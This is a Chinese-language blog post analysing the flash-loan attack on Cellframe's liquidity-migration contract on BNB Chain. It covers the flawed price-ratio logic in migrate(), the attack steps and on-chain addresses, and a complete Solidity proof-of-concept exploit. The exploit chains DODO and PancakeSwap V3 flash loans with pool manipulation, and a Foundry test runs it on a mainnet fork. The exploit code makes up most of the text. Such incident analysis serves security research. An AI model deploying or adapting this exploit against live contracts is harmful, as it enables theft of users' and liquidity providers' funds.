Cellfram攻击事件分析及POC

  • Drac
  • 更新于 2023-06-10 22:48
  • 阅读 2024

Cellfram流动性迁移合约存在漏洞被闪电贷攻击。

基础信息

攻击者地址:

0x2525c811ecf22fc5fcde03c67112d34e97da6079

攻击合约:

0x1e2a251b29e84e1d6d762c78a9db5113f5ce7c48

攻击tx:

0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6

相关其它合约

  • OLD_CELL = 0xf3E1449DDB6b218dA2C9463D4594CEccC8934346;
  • LP_OLD = 0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2;
  • NEW_CELL = 0xd98438889Ae7364c7E2A3540547Fad042FB24642;
  • LP_NEW = 0x1c15f4E3fd885a34660829aE692918b4b9C1803d;

漏洞代码分析

迁移合约的工作原理是:将用户老的LP代币转到迁移合约地址,然后迁移合约调用removeLiquidity移除流动性。然后根据新池子中CELL和WBNB的比例,计算出需要的NEW CELL的数量。然后在新池子中添加流动性,新的LP代币会直接发送给用户。如果添加流动性需要的WBNB代币小于移除流动性获得的WBNB,那么将多余的WBNB退还给用户。

攻击者可以通过闪电贷操纵池子中两种代币的比例,使得旧池子中WBNB增加,OLD CELL减少,新池子中WBNB减少,NEW CELL增加。这样会导致旧LP撤销流动性的时候会获得更多的WBNB,添加新池子的时候只需要少量WBNB。

function migrate(uint amountLP) external  {

        (uint token0,uint token1) = migrateLP(amountLP);
        (uint eth,uint cell, ) = IUniswapV2Router01(LP_NEW).getReserves();     

        uint resoult = cell/eth;              
        token1 = resoult * token0;

        IERC20(CELL).approve(ROUTER_V2,token1);
        IERC20(WETH).approve(ROUTER_V2,token0);

        (uint tokenA, , ) = IUniswapV2Router01(ROUTER_V2).addLiquidity(
            WETH,
            CELL,
            token0,
            token1,
            0,
            0,
            msg.sender,
            block.timestamp + 5000
        );

        uint balanceOldToken = IERC20(OLD_CELL).balanceOf(address(this));
        IERC20(OLD_CELL).transfer(marketingAddress,balanceOldToken);

        if (tokenA < token0) {
            uint256 refund0 = token0 - tokenA;
            IERC20(WETH).transfer(msg.sender,refund0);

        }

     }

    function migrateLP(uint amountLP) internal returns(uint256 token0,uint256 token1) {

        IERC20(LP_OLD).transferFrom(msg.sender,address(this),amountLP);
        IERC20(LP_OLD).approve(ROUTER_V2,amountLP);

        return IUniswapV2Router01(ROUTER_V2).removeLiquidity(
            WETH,
            OLD_CELL,
            amountLP,
            0,
            0,
            address(this),
            block.timestamp + 5000
        );

    }

攻击过程分析

1.攻击者从dodo借出WBNB。

image.png

2.从pancake V3中借出NEW CELL,并调用了攻击合约中的0xa1d48336方法。

image.png

3.通过调用0xa1d48336方法,在V2池子中将借来的NEW CELL全部换成了WBNB,然后将大量WBNB换成OLD CELL,这会导致新池子中WBNB减少,旧池子中OLD WBNB的比例升高。然后攻击者调用流动性迁移合约的migrate方法,移除旧池子流动性的时候,获得的WBNB会增多,然后添加新池子流动性的时候,只需要少量的WBNB。

image.png

4.然后将新池子中的lp代币移除流动性,获得WBNB和NEW CELL。

image.png

5.因为之前借了NEW CELL,因此将WBNB换成换成NEW CELL,OLD CELL已经没用了,将OLD CELL换成WBNB,并偿还V3 pool借来的NEW CELL。

image.png

6.分别在V3和V2池子中将NEW CELL卖出换成WBNB,最后归还dodo闪电贷出的WBNB。

image.png

漏洞复现

POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "node_modules/@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "node_modules/@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "node_modules/@uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolActions.sol";
//import {ISwapRouter} from "node_modules/@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol";
import "node_modules/@pancakeswap/v3-core/contracts/interfaces/callback/IPancakeV3SwapCallback.sol";

    address constant V3Pool = 0xA2C1e0237bF4B58bC9808A579715dF57522F41b2;
    address constant ROUTER_V3 = 0x13f4EA83D0bd40E75C8222255bc855a974568Dd4;
    address constant ROUTER_V2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;

    address constant LpMigration = 0xB4E47c13dB187D54839cd1E08422Af57E5348fc1;
    address constant OLD_CELL = 0xf3E1449DDB6b218dA2C9463D4594CEccC8934346; // addr old cell token
    address constant LP_OLD = 0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2; // addr old lp token
    address constant NEW_CELL =  0xd98438889Ae7364c7E2A3540547Fad042FB24642;// addr new cell token
    address constant LP_NEW = 0x1c15f4E3fd885a34660829aE692918b4b9C1803d;// addr new lp token v2

    address constant DoDoPool = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
    address constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address constant BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;

    uint constant borrowWBNBamount = 1000*1e18;
    uint constant borrowNewCellAmount = 500000*1e18;
interface IV3SwapRouter is IPancakeV3SwapCallback {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    /// @notice Swaps `amountIn` of one token for as much as possible of another token
    /// @dev Setting `amountIn` to 0 will cause the contract to look up its own balance,
    /// and swap the entire amount, enabling contracts to send tokens before calling this function.
    /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
    /// @return amountOut The amount of the received token
    function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);

    struct ExactInputParams {
        bytes path;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
    }

    /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
    /// @dev Setting `amountIn` to 0 will cause the contract to look up its own balance,
    /// and swap the entire amount, enabling contracts to send tokens before calling this function.
    /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
    /// @return amountOut The amount of the received token
    function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);

    struct ExactOutputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountOut;
        uint256 amountInMaximum;
        uint160 sqrtPriceLimitX96;
    }

    /// @notice Swaps as little as possible of one token for `amountOut` of another token
    /// that may remain in the router after the swap.
    /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
    /// @return amountIn The amount of the input token
    function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);

    struct ExactOutputParams {
        bytes path;
        address recipient;
        uint256 amountOut;
        uint256 amountInMaximum;
    }

    /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
    /// that may remain in the router after the swap.
    /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
    /// @return amountIn The amount of the input token
    function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);
}
interface ILpMigration{
    function migrate(uint amountLP) external;
}
interface WETH{
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function withdraw(uint256 amount) external;
    function deposit() external payable;
    function transfer(address recipient, uint256 amount) external returns (bool);
}

/// @title Router token swapping functionality
/// @notice Functions for swapping tokens via PancakeSwap V3

interface IDODO {
    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address assetTo,
        bytes calldata data
    ) external;
    function _BASE_TOKEN_() external view returns (address);
}

contract DODOFlashloan {
    function dodoFlashLoan(
        address flashLoanPool, //You will make a flashloan from this DODOV2 pool
        uint256 loanAmount, 
        address loanToken
    ) public  {
        //Note: The data can be structured with any variables required by your logic. The following code is just an example
        bytes memory data = abi.encode(flashLoanPool, loanToken, loanAmount);
        address flashLoanBase = IDODO(flashLoanPool)._BASE_TOKEN_();
        if(flashLoanBase == loanToken) {
            IDODO(flashLoanPool).flashLoan(loanAmount, 0, address(this), data);
        } else {
            IDODO(flashLoanPool).flashLoan(0, loanAmount, address(this), data);
        }
    }

    //Note: CallBack function executed by DODOV2(DVM) flashLoan pool
    function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount,bytes calldata data) external {
        _flashLoanCallBack(sender,baseAmount,quoteAmount,data);
    }

    //Note: CallBack function executed by DODOV2(DPP) flashLoan pool
    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        _flashLoanCallBack(sender,baseAmount,quoteAmount,data);
    }

    //Note: CallBack function executed by DODOV2(DSP) flashLoan pool
    function DSPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        _flashLoanCallBack(sender,baseAmount,quoteAmount,data);
    }

    function v2swap(uint256 amount0,uint256 amount1,address[] memory path) public{
        IUniswapV2Router02(ROUTER_V2).swapExactTokensForTokensSupportingFeeOnTransferTokens(amount0,amount1,path,address(this),block.timestamp);
    }

    function _flashLoanCallBack(address sender, uint256, uint256, bytes calldata data) internal {
        (address flashLoanPool, address loanToken, uint256 loanAmount) = abi.decode(data, (address, address, uint256));

        require(sender == address(this) && msg.sender == flashLoanPool, "HANDLE_FLASH_NENIED");

        //Note: Realize your own logic using the token from flashLoan pool.
        IUniswapV3PoolActions v3pool = IUniswapV3PoolActions(V3Pool);

        v3pool.flash(address(this),0,borrowNewCellAmount,"");

        //将new cell换成wbnb
        IERC20(NEW_CELL).approve(ROUTER_V3,type(uint256).max);
        IERC20(NEW_CELL).balanceOf(address(this));
        IERC20(WBNB).balanceOf(address(this));

        _swap(NEW_CELL,WBNB,500,IERC20(NEW_CELL).balanceOf(address(this)));

        IERC20(loanToken).transfer(flashLoanPool, 1000*1e18);
    }
    function _swap(
        address tokenIn,
        address tokenOut,
        uint24 fee,
        uint amountIn
    ) private returns (uint amountOut) {
        IV3SwapRouter.ExactInputSingleParams memory params = IV3SwapRouter
            .ExactInputSingleParams({
                tokenIn: tokenIn,
                tokenOut: tokenOut,
                fee: fee,
                recipient: address(this),
                amountIn: amountIn,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });

        amountOut = IV3SwapRouter(ROUTER_V3).exactInputSingle(params);
    }
}

contract Attack is DODOFlashloan{

    //添加流动性
    function addLiqu() public payable{
        WETH(WBNB).deposit{value:msg.value}();
        IERC20(WBNB).approve(ROUTER_V2,type(uint256).max);
        address[] memory  path = new address[](2);
        path[0] = WBNB;
        path[1] = OLD_CELL;
        v2swap(0.05*1e18, 0, path);
        IERC20(OLD_CELL).approve(ROUTER_V2,type(uint256).max);
        IUniswapV2Router02(ROUTER_V2).addLiquidity(OLD_CELL,WBNB,IERC20(OLD_CELL).balanceOf(address(this)),50000000000000000,0,0,address(this),block.timestamp);
    }
    receive() external payable {}

    function test() view external returns(uint256){
        return IERC20(LP_OLD).balanceOf(address(this));
    }
     function test2() view external returns(uint256){
        return IERC20(WBNB).balanceOf(address(this));
    }

    function hack() external{
        dodoFlashLoan(DoDoPool,borrowWBNBamount,WBNB);
    }

    function pancakeV3FlashCallback(
        uint256 ,
        uint256 ,
        bytes calldata
    ) external {
        IERC20(NEW_CELL).approve(ROUTER_V2,type(uint256).max);
        address[] memory  path = new address[](2);
        path[0] = NEW_CELL;
        path[1] = WBNB;
        IERC20(NEW_CELL).balanceOf(address(this));
        //将借来的new cell全部换成wbnb
        v2swap(borrowNewCellAmount, 0, path);

        address[] memory  path2 = new address[](2);
        path2[0] = WBNB;
        path2[1] = OLD_CELL;
        //将900个wbnb换成old cell
        v2swap(900*1e18, 0, path2);

        //迁移流动性
        IERC20(LP_OLD).approve(LpMigration, type(uint256).max);
        //ILpMigration(LpMigration).migrate(IERC20(LP_OLD).balanceOf(address(this)));
        ILpMigration(LpMigration).migrate(1*1e18);

        //销毁new lp,获得两种代币
        IERC20(LP_NEW).transfer(LP_NEW,IERC20(LP_NEW).balanceOf(address(this)));
        IUniswapV2Pair(LP_NEW).burn(address(this));

        //将wbnb换成new cell
        IERC20(WBNB).approve(ROUTER_V2,type(uint256).max);
        address[] memory  path3 = new address[](2);
        path3[0] = WBNB;
        path3[1] = NEW_CELL;
        v2swap(IERC20(WBNB).balanceOf(address(this)), 0, path3);

        //将old cell换成wbnb
        IERC20(OLD_CELL).approve(ROUTER_V2,type(uint256).max);
        address[] memory  path4 = new address[](2);
        path4[0] = OLD_CELL;
        path4[1] = WBNB;
        IUniswapV2Router02(ROUTER_V2).swapExactTokensForTokensSupportingFeeOnTransferTokens(IERC20(OLD_CELL).balanceOf(address(this)),0,path4,address(this),block.timestamp);
        //偿还new cell借款
        IERC20(NEW_CELL).transfer(V3Pool,500250000000000000000000);
    }
}

测试脚本:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "lib/forge-std/src/Test.sol";
import "../src/attack.sol";
import "lib/forge-std/src/console2.sol";

contract AttackTest is Test {
    Attack public attack;

    function setUp() public {
        attack = new Attack();
    }

    function testattack() public {
        address attacker = vm.addr(1);
        vm.prank(attacker);
        vm.deal(attacker, 1 ether);
        attack.addLiqu{value:0.1 ether}();
        attack.hack();
        console2.log(attack.test2());
    }
}

运行测试脚本:

forge test --fork-url https://rpc.ankr.com/bsc --fork-block-number 28708273 -vvv
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Drac
Drac
江湖只有他的大名,没有他的介绍。